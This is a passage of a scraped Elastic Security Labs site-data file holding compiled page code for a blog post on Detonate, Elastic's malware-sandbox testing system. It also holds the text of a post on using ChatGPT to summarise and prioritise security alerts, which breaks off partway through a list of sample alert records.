deeper into the technical implementation of Detonate and how we’re able to create this sandboxed environment in practice.\n","code":"var Component=(()=\u003e{var h=Object.create;var a=Object.defineProperty;var u=Object.getOwnPropertyDescriptor;var p=Object.getOwnPropertyNames;var m=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var w=(n,e)=\u003e()=\u003e(e||n((e={exports:{}}).exports,e),e.exports),y=(n,e)=\u003e{for(var i in e)a(n,i,{get:e[i],enumerable:!0})},r=(n,e,i,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of p(e))!f.call(n,o)\u0026\u0026o!==i\u0026\u0026a(n,o,{get:()=\u003ee[o],enumerable:!(s=u(e,o))||s.enumerable});return n};var g=(n,e,i)=\u003e(i=n!=null?h(m(n)):{},r(e||!n||!n.__esModule?a(i,\"default\",{value:n,enumerable:!0}):i,n)),v=n=\u003er(a({},\"__esModule\",{value:!0}),n);var l=w((j,c)=\u003e{c.exports=_jsx_runtime});var D={};y(D,{default:()=\u003ex,frontmatter:()=\u003eb});var t=g(l()),b={title:\"Click, Click\\u2026 Boom! Automating Protections Testing with Detonate\",slug:\"click-click-boom-automating-protections-testing-with-detonate\",date:\"2023-05-04\",description:\"To automate this process and test our protections at scale, we built Detonate, a system that is used by security research engineers to measure the efficacy of our Elastic Security solution in an automated fashion.\",author:[{slug:\"jessica-david\"},{slug:\"hez-carty\"},{slug:\"sergey-polzunov\"}],image:\"blog-thumb-tools-various.jpg\",category:[{slug:\"tools\"},{slug:\"security-research\"},{slug:\"detection-science\"}],tags:[\"detonate\"]};function d(n){let e=Object.assign({h2:\"h2\",p:\"p\",a:\"a\",ul:\"ul\",li:\"li\",h3:\"h3\"},n.components);return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsx)(e.h2,{id:\"preamble\",children:\"Preamble\"}),`\n`,(0,t.jsx)(e.p,{children:\"Imagine you are an Endpoint artifact developer. After you put in the work to ensure protection against conventional shellcode injections or ransomware innovations, how do you know it actually works before you send it out into the world?\"}),`\n`,(0,t.jsx)(e.p,{children:\"First, you set up your end-to-end system, which involves setting up several services, the infrastructure, network configuration, and more. Then, you run some malware; the data you collect answers questions about performance and efficacy, and may be an important research resource in the future. After you spend a day testing and gathering your results, you may want to run several hundred hashes over multiple kinds of operating systems and machine types, a daunting task if done entirely manually.\"}),`\n`,(0,t.jsx)(e.p,{children:\"To automate this process and test our protections at scale, we built Detonate, a system that is used by security research engineers to measure the efficacy of our Elastic Security solution in an automated fashion. Our goal is to have it take security researchers only a couple of clicks to test our protections against malware. (Thus: click, click\\u2026 boom!)\"}),`\n`,(0,t.jsx)(e.p,{children:\"In this series of posts, we\\u2019ll: - Introduce Detonate and why we built it - Explore how Detonate works and the technical implementation details - Describe case studies on how our teams use it at Elastic - Discuss opening our efficacy testing to the community to help the world protect their data from attack\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Interested in other posts on Detonate? Check out \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/into-the-weeds-how-we-run-detonate\",rel:\"nofollow\",children:\"Part 2 - Into The Weeds: How We Run Detonate\"}),\" where we break down how Detonate works and dive deeper into the technical implementation.\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"what-is-detonate\",children:\"What is Detonate?\"}),`\n`,(0,t.jsx)(e.p,{children:\"At a high level, Detonate runs malware and other potentially malicious software in a controlled (i.e., sandboxed) environment where the full suite of Elastic Security capabilities are enabled. Detonate accepts a file hash (usually a SHA256) and performs the following actions:\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"Prepares all files needed for detonation, including the malicious file\"}),`\n`,(0,t.jsx)(e.li,{children:\"Provisions a virtual machine (VM) instance in a sandboxed environment, with limited connectivity to the outside world\"}),`\n`,(0,t.jsx)(e.li,{children:\"Waits until file execution completes; this happens when, for example, an execution result file is found or the VM instance is stopped or older than a task timeout\"}),`\n`,(0,t.jsx)(e.li,{children:\"Stops the running VM instance (if necessary) and cleans up the sandboxed environment\"}),`\n`,(0,t.jsx)(e.li,{children:\"Generates an event summary based on telemetry and alerts produced during detonation\"}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:\"The results of these detonations are made available to the team for research and development purposes. By post-processing the logs, events, and alerts collected during detonation, we can enrich them with third-party intelligence and other sources to evaluate the efficacy of new and existing Elastic Security protection features.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"what-does-it-help-us-with\",children:\"What does it help us with?\"}),`\n`,(0,t.jsx)(e.h3,{id:\"measuring-efficacy\",children:\"Measuring Efficacy\"}),`\n`,(0,t.jsx)(e.p,{children:\"To build the best EPP on the market, we have to continuously measure the effectiveness of our product against the latest threats. Detonate is used to execute many tens of thousands of samples every month from our data feeds. Gaps in coverage are automatically identified and used to prioritize improvements to our protections.\"}),`\n`,(0,t.jsx)(e.h3,{id:\"supporting-existing-protections\",children:\"Supporting existing protections\"}),`\n`,(0,t.jsx)(e.p,{children:\"Many of our protections have associated artifacts (such as machine learning models and rule definitions) which receive regular updates. These updates need testing to ensure we identify and remediate regressions before they end up in a user\\u2019s environment.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Detonate provides a framework and suite of tools to automate the analysis involved in this testing process. By leveraging a corpus of hashes with known good and bad software, we can validate our protections before they are deployed to users.\"}),`\n`,(0,t.jsx)(e.h3,{id:\"threat-research\",children:\"Threat research\"}),`\n`,(0,t.jsx)(e.p,{children:\"Some of our security researchers scour the internet daily for new and emerging threats. By giving them an easy-to-use platform to test malicious software they find in the wild, we better understand how Elastic Security defends against those threats or if we need to update our protections.\"}),`\n`,(0,t.jsx)(e.h3,{id:\"evaluating-new-protections\",children:\"Evaluating new protections\"}),`\n`,(0,t.jsx)(e.p,{children:\"In addition to testing existing protections, new protections run the risk of adverse interactions with our existing suite of layered capabilities. A new protection may be easily tested on its own, but tests may hide unintended interactions or conflicts with existing protections. Detonate provides a way for us to customize the configuration of the Elastic Stack and individual protections to more easily find and identify such conflicts earlier in development.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"whats-next\",children:\"What\\u2019s next?\"}),`\n`,(0,t.jsx)(e.p,{children:\"In this publication, we introduced Detonate \u0026 what we use it for at Elastic. We discussed the benefits it provides our team when assessing the performance of our security artifacts.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Now that you know what it is, we will break down how Detonate works. In our next post, we\\u2019ll dive deeper into the technical implementation of Detonate and how we\\u2019re able to create this sandboxed environment in practice.\"})]})}function k(n={}){let{wrapper:e}=n.components||{};return e?(0,t.jsx)(e,Object.assign({},n,{children:(0,t.jsx)(d,n)})):d(n)}var x=k;return v(D);})();\n;return Component;"},"_id":"articles/click-click-boom-automating-protections-testing-with-detonate.mdx","_raw":{"sourceFilePath":"articles/click-click-boom-automating-protections-testing-with-detonate.mdx","sourceFileName":"click-click-boom-automating-protections-testing-with-detonate.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/click-click-boom-automating-protections-testing-with-detonate"},"type":"Article","imageUrl":"/assets/images/click-click-boom-automating-protections-testing-with-detonate/blog-thumb-tools-various.jpg","readingTime":"5 min read","series":"","url":"/click-click-boom-automating-protections-testing-with-detonate","headings":[{"level":2,"title":"Preamble","href":"#preamble"},{"level":2,"title":"What is Detonate?","href":"#what-is-detonate"},{"level":2,"title":"What does it help us with?","href":"#what-does-it-help-us-with"},{"level":3,"title":"Measuring Efficacy","href":"#measuring-efficacy"},{"level":3,"title":"Supporting existing protections","href":"#supporting-existing-protections"},{"level":3,"title":"Threat research","href":"#threat-research"},{"level":3,"title":"Evaluating new protections","href":"#evaluating-new-protections"},{"level":2,"title":"What’s next?","href":"#whats-next"}],"author":[{"title":"Jessica David","slug":"jessica-david","description":"Principal Data Engineer, Elastic","image":"jessica-david.jpg","body":{"raw":"","code":"var Component=(()=\u003e{var u=Object.create;var r=Object.defineProperty;var g=Object.getOwnPropertyDescriptor;var j=Object.getOwnPropertyNames;var x=Object.getPrototypeOf,l=Object.prototype.hasOwnProperty;var p=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),f=(t,e)=\u003e{for(var n in e)r(t,n,{get:e[n],enumerable:!0})},c=(t,e,n,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let i of j(e))!l.call(t,i)\u0026\u0026i!==n\u0026\u0026r(t,i,{get:()=\u003ee[i],enumerable:!(s=g(e,i))||s.enumerable});return t};var _=(t,e,n)=\u003e(n=t!=null?u(x(t)):{},c(e||!t||!t.__esModule?r(n,\"default\",{value:t,enumerable:!0}):n,t)),D=t=\u003ec(r({},\"__esModule\",{value:!0}),t);var d=p((X,o)=\u003e{o.exports=_jsx_runtime});var E={};f(E,{default:()=\u003eC,frontmatter:()=\u003ev});var a=_(d()),v={title:\"Jessica David\",description:\"Principal Data Engineer, Elastic\",slug:\"jessica-david\",image:\"jessica-david.jpg\"};function m(t){return(0,a.jsx)(a.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,a.jsx)(e,Object.assign({},t,{children:(0,a.jsx)(m,t)})):m(t)}var C=M;return D(E);})();\n;return Component;"},"_id":"authors/jessica-david.mdx","_raw":{"sourceFilePath":"authors/jessica-david.mdx","sourceFileName":"jessica-david.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/jessica-david"},"type":"Author","imageUrl":"/assets/images/authors/jessica-david.jpg","url":"/authors/jessica-david"},{"title":"Hez Carty","slug":"hez-carty","description":"Senior Manager, Threat Intelligence Services, Elastic","body":{"raw":"","code":"var Component=(()=\u003e{var m=Object.create;var o=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var g=Object.getOwnPropertyNames;var f=Object.getPrototypeOf,_=Object.prototype.hasOwnProperty;var d=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),j=(t,e)=\u003e{for(var n in e)o(t,n,{get:e[n],enumerable:!0})},i=(t,e,n,c)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of g(e))!_.call(t,a)\u0026\u0026a!==n\u0026\u0026o(t,a,{get:()=\u003ee[a],enumerable:!(c=x(e,a))||c.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?m(f(t)):{},i(e||!t||!t.__esModule?o(n,\"default\",{value:t,enumerable:!0}):n,t)),M=t=\u003ei(o({},\"__esModule\",{value:!0}),t);var u=d((F,s)=\u003e{s.exports=_jsx_runtime});var z={};j(z,{default:()=\u003eC,frontmatter:()=\u003eh});var r=p(u()),h={title:\"Hez Carty\",description:\"Senior Manager, Threat Intelligence Services, Elastic\",slug:\"hez-carty\"};function l(t){return(0,r.jsx)(r.Fragment,{})}function y(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(l,t)})):l(t)}var C=y;return M(z);})();\n;return Component;"},"_id":"authors/hez-carty.mdx","_raw":{"sourceFilePath":"authors/hez-carty.mdx","sourceFileName":"hez-carty.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/hez-carty"},"type":"Author","imageUrl":"","url":"/authors/hez-carty"},{"title":"Sergey Polzunov","slug":"sergey-polzunov","description":"Senior Data Security Data Engineer, Elastic","body":{"raw":"","code":"var Component=(()=\u003e{var l=Object.create;var a=Object.defineProperty;var m=Object.getOwnPropertyDescriptor;var x=Object.getOwnPropertyNames;var f=Object.getPrototypeOf,p=Object.prototype.hasOwnProperty;var _=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var n in e)a(t,n,{get:e[n],enumerable:!0})},s=(t,e,n,i)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of x(e))!p.call(t,o)\u0026\u0026o!==n\u0026\u0026a(t,o,{get:()=\u003ee[o],enumerable:!(i=m(e,o))||i.enumerable});return t};var j=(t,e,n)=\u003e(n=t!=null?l(f(t)):{},s(e||!t||!t.__esModule?a(n,\"default\",{value:t,enumerable:!0}):n,t)),y=t=\u003es(a({},\"__esModule\",{value:!0}),t);var u=_((C,c)=\u003e{c.exports=_jsx_runtime});var v={};d(v,{default:()=\u003eS,frontmatter:()=\u003eD});var r=j(u()),D={title:\"Sergey Polzunov\",description:\"Senior Data Security Data Engineer, Elastic\",slug:\"sergey-polzunov\"};function g(t){return(0,r.jsx)(r.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(g,t)})):g(t)}var S=M;return y(v);})();\n;return Component;"},"_id":"authors/sergey-polzunov.mdx","_raw":{"sourceFilePath":"authors/sergey-polzunov.mdx","sourceFileName":"sergey-polzunov.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/sergey-polzunov"},"type":"Author","imageUrl":"","url":"/authors/sergey-polzunov"}],"category":[{"title":"Tools","slug":"tools","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var l=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,n)=\u003e()=\u003e(n||t((n={exports:{}}).exports,n),n.exports),d=(t,n)=\u003e{for(var e in n)s(t,e,{get:n[e],enumerable:!0})},c=(t,n,e,a)=\u003e{if(n\u0026\u0026typeof n==\"object\"||typeof n==\"function\")for(let r of f(n))!g.call(t,r)\u0026\u0026r!==e\u0026\u0026s(t,r,{get:()=\u003en[r],enumerable:!(a=l(n,r))||a.enumerable});return t};var p=(t,n,e)=\u003e(e=t!=null?x(_(t)):{},c(n||!t||!t.__esModule?s(e,\"default\",{value:t,enumerable:!0}):e,t)),M=t=\u003ec(s({},\"__esModule\",{value:!0}),t);var i=j((h,u)=\u003e{u.exports=_jsx_runtime});var X={};d(X,{default:()=\u003eF,frontmatter:()=\u003eC});var o=p(i()),C={title:\"Tools\",slug:\"tools\"};function m(t){return(0,o.jsx)(o.Fragment,{})}function D(t={}){let{wrapper:n}=t.components||{};return n?(0,o.jsx)(n,Object.assign({},t,{children:(0,o.jsx)(m,t)})):m(t)}var F=D;return M(X);})();\n;return Component;"},"_id":"categories/tools.mdx","_raw":{"sourceFilePath":"categories/tools.mdx","sourceFileName":"tools.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/tools"},"type":"Category","url":"/categories/tools"},{"title":"Security research","slug":"security-research","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var r in e)s(t,r,{get:e[r],enumerable:!0})},c=(t,e,r,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!j.call(t,o)\u0026\u0026o!==r\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=f(e,o))||a.enumerable});return t};var h=(t,e,r)=\u003e(r=t!=null?x(g(t)):{},c(e||!t||!t.__esModule?s(r,\"default\",{value:t,enumerable:!0}):r,t)),p=t=\u003ec(s({},\"__esModule\",{value:!0}),t);var i=l((X,u)=\u003e{u.exports=_jsx_runtime});var D={};d(D,{default:()=\u003eC,frontmatter:()=\u003ey});var n=h(i()),y={title:\"Security research\",slug:\"security-research\"};function m(t){return(0,n.jsx)(n.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(m,t)})):m(t)}var C=M;return p(D);})();\n;return Component;"},"_id":"categories/security-research.mdx","_raw":{"sourceFilePath":"categories/security-research.mdx","sourceFileName":"security-research.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/security-research"},"type":"Category","url":"/categories/security-research"},{"title":"Detection science","slug":"detection-science","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var c=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var d=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),l=(t,e)=\u003e{for(var n in e)c(t,n,{get:e[n],enumerable:!0})},i=(t,e,n,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!g.call(t,o)\u0026\u0026o!==n\u0026\u0026c(t,o,{get:()=\u003ee[o],enumerable:!(s=f(e,o))||s.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?x(d(t)):{},i(e||!t||!t.__esModule?c(n,\"default\",{value:t,enumerable:!0}):n,t)),D=t=\u003ei(c({},\"__esModule\",{value:!0}),t);var u=j((h,a)=\u003e{a.exports=_jsx_runtime});var X={};l(X,{default:()=\u003eF,frontmatter:()=\u003eM});var r=p(u()),M={title:\"Detection science\",slug:\"detection-science\"};function m(t){return(0,r.jsx)(r.Fragment,{})}function C(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(m,t)})):m(t)}var F=C;return D(X);})();\n;return Component;"},"_id":"categories/detection-science.mdx","_raw":{"sourceFilePath":"categories/detection-science.mdx","sourceFileName":"detection-science.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/detection-science"},"type":"Category","url":"/categories/detection-science"}]},{"title":"Exploring the Future of Security with ChatGPT","slug":"exploring-applications-of-chatgpt-to-improve-detection-response-and-understanding","date":"2023-04-24","description":"Recently, OpenAI announced APIs for engineers to integrate ChatGPT and Whisper models into their apps and products. For some time, engineers could use the REST API calls for older models and otherwise use the ChatGPT interface through their website.","image":"blog-elastic-train.jpg","subtitle":"Ambitious applications of ChatGPT to improve detection, response, and understanding","body":{"raw":"\n### Preamble\n\nRecently, OpenAI [announced](https://openai.com/blog/introducing-chatgpt-and-whisper-apis) APIs for engineers to integrate [ChatGPT](https://chat.openai.com/chat) and Whisper models into their apps and products. For some time, engineers could use the REST API calls for older models and otherwise use the ChatGPT interface through their website. Now there's an opportunity to prototype and experiment with Large Language Models (LLMs) to assist with security use cases.\n\nThe defensively-minded possibilities are endless for applying the older [gpt-3.5-turbo](https://platform.openai.com/docs/models/gpt-3-5) and soon [gpt-4](https://platform.openai.com/docs/models/gpt-4) models but here are just a few ideas:\n\n- Chatbot-assisted Incident Response: Creating a chatbot that can identify and respond to security incidents in real-time to achieve a desired outcome. The chatbot can use ChatGPT to analyze the incident and provide an appropriate and configurable response (e.g. execute response actions, recommend new queries, etc.).\n- Threat information: Using ChatGPT to analyze threat data and generate reports for your security product. This will help to improve the mean-time to respond.\n- Natural language search: Implementing natural language search capabilities in your security product. ChatGPT can be used to understand and optimize search queries, for more accurate and relevant results.\n- Anomaly detection: Using ChatGPT to analyze event data to identify anomalies that may indicate a security breach (although will require local domain context training).\n- Security policy chatbot: Creating a chatbot that can answer security-related questions while investigating threats. The chatbot can use ChatGPT to provide accurate and relevant answers to questions about security policies, best practices, summarizing information, and more.\n- Alert prioritization: Using the data within the alerts to group and prioritize the most relevant information to the analyst for an expedited response.\n\n#### Overview\n\nThe relevance of results from a tool like ChatGPT depends a great deal on the data provided and the question asked. Garbage in: garbage out. To minimize costs during prototyping, we chose a small number of available fields (see below). There will always be a bit of tuning and engineering to get the best out of a model like this.\n\nThe following fields are included:\n\n```\n\"event.kind\",\n\"signal.rule.severity\",\n\"kibana.alert.rule.name\",\n\"signal.reason\",\n\"signal.rule.type\",\n\"signal.rule.interval\",\n\"signal.rule.risk_score\",\n\"kibana.alert.rule.producer\",\n\"kibana.alert.rule.description\"\n```\n\nIf you decide to play around with the [code](https://gist.github.com/Mikaayenson/9efff700e5d799c672c6b17338d2de6a), feel free to modify the fields as needed. Also, we'd love to hear what you're doing if you've already pulled something together. Or if you just want to chat about cool ideas, feel free to reach out! Now let's get into some fun. 😎\n\n##### Simple use case: ELI5\n\nNo matter how experienced you are in the security domain, there will always be changes and new developments. They keep the security world exciting but also challenge us to stay up to date, especially when it pertains to threats. But often the detection engineer that created a query to identify malicious activity is not the same person responding to a threat. And, notably, those individuals will prioritize different knowledge and come with their own sets of unique experiences.\n\nThe following Example simply queries the detection engine for alerts and then explains them in several ways. Some of the explanations were insightful, and some were humorous. You should try it out yourself.\n\n##### Malicious Behavior Prevention alert\n\nFrom the [Suspicious Microsoft IIS Worker Descendant detection](https://www.elastic.co/guide/en/security/current/microsoft-exchange-worker-spawning-suspicious-processes.html) rule, we start with the first prompt “Summary the Elastic event:” and in each example, it's followed by the response provided by chatGPT.\n\nThis first example is short and sweet, to highlight the basic functionality. Summarize the Elastic event:\n\n\u003e The summary of the elastic event is that it produces a detection alert whenever a suspicious Microsoft IIS Worker Descendant is detected by Elastic Endpoint Security. This alert helps in investigating the endpoint alerts promptly.\n\nSometimes you need to provide an explanation to a layperson without security experience or expertise The term “explain it like I’m five” originated in 2010 on Twitter and was later seen on the subreddit, r/explainlikeimfive. Language is hard. Explaining complicated or nuanced things is even harder. In the most endearing way possible, sometimes we just need someone to explain it like we’re five.\n\nExplain this Elastic event like I'm five:\n\n\u003e So, you know how sometimes there are bad guys who try to do bad things on our computers? Well, there is a special program called Elastic Endpoint Security that helps protect our computers from those bad guys. When it detects something suspicious, it will send an alert to the grown-ups who are taking care of the computer. This alert has a special name - Malicious Behavior Prevention Alert: Suspicious Microsoft IIS Worker Descendant. Now, the people who take care of the computer have another special program called SIEM. SIEM keeps an eye on all the alerts that Elastic Endpoint Security sends, and if it sees one of these special alerts, it will tell the grown-ups right away so they can investigate and make sure everything is okay. So, this message just means that SIEM got an alert from Elastic Endpoint Security, and it's letting the grown-ups know so they can take care of it.\n\nSometimes your kids may want to know how your day went. ChatGPT can even help in this (unconventional) area.\n\nExplain this event to my kids:\n\n\u003e There was something weird that happened on a computer, and the people who take care of it wanted to know about it right away. They made a rule that sends an alert whenever something strange happens on that computer. This way, they can look into it and make sure everything is okay.\n\nThis example is interesting. Without the context of what kind of leadership you have, this response may not be enough. It might even be interpreted as insulting 😅. Like any other tool, make sure you’re using it in a safe and appropriate way.\n\nExplain this event to my boss:\n\n\u003e This event indicates that a rule named \"Malicious Behavior Prevention Alert: Suspicious Microsoft IIS Worker Descendant\" was triggered by the SIEM system. This rule is designed to generate an alert whenever any suspicious activity related to Elastic Endpoint Security is detected. By enabling this rule, we can quickly investigate any potential threats to our Endpoint security.\n\nThis next example is great for training entry-level analysts. It provides intentional words that you want to hear when onboarding someone to a new role.\n\nExplain this event to the new graduate:\n\n\u003e This event is a notification that a rule has been triggered to detect a suspicious behavior related to the Microsoft IIS Worker, which is a component of the web server software. This rule is meant to prevent any malicious behavior and generate an alert whenever an Elastic Endpoint Security alert is received. By enabling this rule, it helps to investigate the security threats quickly and take the necessary actions to mitigate them.\n\nWe can prompt in different ways, and as expected get different responses.\n\nExplain what happened in this event:\n\n\u003e This event is related to a detection alert rule named \"Malicious Behavior Prevention Alert: Suspicious Microsoft IIS Worker Descendant,\" which was produced by a SIEM. The event type is \"signal,\" which means that the alert has been triggered based on a specific condition. The purpose of this rule is to generate a detection alert every time an Elastic Endpoint Security alert is received, which helps in the immediate investigation of the endpoint alerts. Therefore, this event indicates the occurrence of suspicious activity related to Microsoft IIS Worker Descendants and the triggering of an alert by the detection rule.\n\nClearly, there is room for improvement. In this next example, it preemptively explains, \"Hey hey, don't ask for too much of me. I'm just an assistant.\"\n\nExplain this event to the CISO:\n\n\u003e As a virtual assistant language model, I can explain the given event to the CISO with utmost accuracy and professionalism. This event signifies the activation of a rule in Kibana that generates an alert whenever there's suspicious behavior detected in Microsoft IIS worker descendant, which can be a potential threat to the organization's security. This rule is produced by the SIEM (Security Information and Event Management) system and is designed to detect malicious activities and alert the security team immediately. This event also mentions that the endpoint security system generates alerts that enable the security team to investigate and take necessary actions to mitigate threats. Overall, this event highlights the implementation of proactive security measures to ensure the safety of the organization's digital assets.\n\nThis last example is particularly interesting because it just scratches the surface for how to guide the team responding to this event.\n\nWhat are next investigative steps to take based on this event:\n\n\u003e - Determine the source of the Elastic Endpoint Security alert and investigate the details of the alert to understand the specific suspicious behavior detected.\n\u003e - Review system logs to identify any other unusual activity within the network, particularly from the same system or IP address associated with the suspicious Microsoft IIS worker descendant.\n\u003e - Check for any recent changes made to the Microsoft IIS configuration or permissions that may have triggered the alert.\n\u003e - Assess the impact of the event on the affected system and determine if any data or systems were compromised.\n\u003e - Identify and isolate the affected system or systems to prevent further spread of any potential malware or malicious activity.\n\u003e - Review current security measures and identify any gaps or areas that can be improved to prevent similar incidents in the future.\n\u003e - Report the event to the relevant authorities or stakeholders, if necessary.\n\nAs you can see, this demo focuses on summarizing the gist of an alert. Imagine how powerful this could be if we decided to summarize all of the alerts for the week into a single summary for reporting. If we tweak the data sent to chatGPT and provide more fields, then we should anticipate getting more accurate responses. That engineering tradeoff of determining what the most important fields to send to get the clearest picture in a time-sensitive fashion is worth the investment. Now, let's explore one more use case.\n\n#### Alert prioritization\n\nResponse times can impact the severity and outcome of an incident. In challenging situations (e.g. alert fatigue, high volume of alerts, lack of training, constrained resources, etc.), responders struggle with determining what to do first. For example, which alert should be investigated and why? Perhaps ChatGPT can help in this area. 🤔\n\nHere are some example alerts that we use in the next set of conversations. Again, the data in these sample alerts are limited to a subset of fields available to conserve tokens.\n\n##### Sample alerts\n\n\u003e ```\n\u003e {'kibana.alert.last_detected': '2023-02-28T16:59:46.600Z', 'kibana.alert.rule.execution.uuid': 'bcbdfcd7-ba8a-4ed2-a203-4f23d77480ec', 'kibana.alert.rule.name': 'Malicious Behavior Prevention Alert: DARKRADIATION Ransomware Infection', 'kibana.alert.rule.producer': 'siem', 'event.kind': 'signal', 'kibana.alert.rule.description': 'Generates a detection alert each time an Elastic Endpoint Security alert is received. Enabling this rule allows you to immediately begin investigating your Endpoint alerts.'} {'kibana.alert.last_detected': '2023-02-28T16:59:46.601Z', 'kibana.alert.rule.execution.uuid': 'bcbdfcd7-ba8a-4ed2-a203-4f23d77480ec', 'kibana.alert.rule.name': 'Malicious Behavior Prevention Alert: Suspicious Microsoft Office Child Process', 'kibana.alert.rule.producer': 'siem', 'event.kind': 'signal', 'kibana.alert.rule.description': 'Generates a detection alert each time an Elastic Endpoint Security alert is received. Enabling this rule allows you to immediately begin investigating your Endpoint alerts.'} {'kibana.alert.last_detected': '2023-02-28T16:59:46.601Z', 'kibana.alert.rule.execution.uuid': 'bcbdfcd7-ba8a-4ed2-a203-4f23d77480ec', 'kibana.alert.rule.name': 'Malicious Behavior Prevention Alert: DARKRADIATION Ransomware Infection', 'kibana.alert.rule.producer': 'siem', 'event.kind': 'signal', 'kibana.alert.rule.description': 'Generates a detection alert each time an Elastic Endpoint Security alert is received. Enabling this rule allows you to immediately begin investigating your Endpoint alerts.'} {'kibana.alert.last_detected': '2023-03-01T13:36:30.680Z', 'kibana.alert.rule.execution.uuid': '74f6a3e1-58d1-410d-bd22-6886be6c8cb7', 'kibana.alert.rule.name': 'Malicious Behavior Prevention Alert: Suspicious Microsoft IIS Worker Descendant', 'kibana.alert.rule.producer': 'siem', 'event.kind': 'signal', 'kibana.alert.rule.description': 'Generates a detection alert each time an Elastic Endpoint Security alert is received. Enabling this rule allows you to immediately begin investigating your Endpoint alerts.'} {'kibana.alert.last_detected': '2023-03-01T13:36:30.680Z', 'kibana.alert.rule.execution.uuid': '74f6a3e1-58d1-410d-bd22-6886be6c8cb7', 'kibana.alert.rule.name': 'Malicious Behavior Prevention Alert: Suspicious Microsoft IIS Worker Descendant', 'kibana.alert.rule.producer': 'siem', 'event.kind': 'signal', 'kibana.alert.rule.description': 'Generates a detection alert each time an Elastic Endpoint Security alert is received. Enabling this rule allows you to immediately begin investigating your Endpoint alerts.'} {'kibana.alert.last_detected': '2023-03-01T12:46:02.800Z', 'kibana.alert.rule.execution.uuid': '0025ed3f-c41c-40ea-bd29-babd28b154b4', 'kibana.alert.rule.name': 'Malicious Behavior Prevention Alert: Suspicious Microsoft IIS Worker Descendant', 'kibana.alert.rule.producer': 'siem', 'event.kind': 'signal', 'kibana.alert.rule.description': 'Generates a detection alert each time an Elastic Endpoint Security alert is received. Enabling this rule allows you to immediately begin investigating your Endpoint alerts.'} {'kibana.alert.last_detected': '2023-02-28T17:04:49.582Z', 'kibana.alert.rule.execution.uuid': '2d4965c5-a345-4f47-9deb-4135b178c7f3', 'kibana.alert.rule.name': 'Malicious Behavior Prevention Alert: Suspicious Bitsadmin Activity', 'kibana.alert.rule.producer': 'siem', 'event.kind': 'signal', 'kibana.alert.rule.description': 'Generates a detection alert each time an Elastic Endpoint Security alert is received. Enabling this rule allows you to immediately begin investigating your Endpoint alerts.'} {'kibana.alert.last_detected': '2023-03-07T20:42:25.969Z', 'kibana.alert.rule.execution.uuid': 'd3f35957-a4e5-445b-b86f-e91814274dcb', 'kibana.alert.rule.name': 'Malicious Behavior Prevention Alert: DARKRADIATION Ransomware Infection', 'kibana.alert.rule.producer': 'siem', 'event.kind': 'signal', 'kibana.alert.rule.description': 'Generates a detection alert each time an Elastic Endpoint Security alert is received. Enabling this rule allows you to immediately begin investigating your Endpoint alerts.'} {'kibana.alert.last_detected': '2023-03-07T20:42:25.969Z', 'kibana.alert.rule.execution.uuid': 'd3f35957-a4e5-445b-b86f-e91814274dcb', 'kibana.alert.rule.name': 'Malicious Behavior Prevention Alert: DARKRADIATION Ransomware Infection', 'kibana.alert.rule.producer': 'siem', 'event.kind': 'signal', 'kibana.alert.rule.description': 'Generates a detection alert each time an Elastic Endpoint Security alert is received. Enabling this rule allows you to 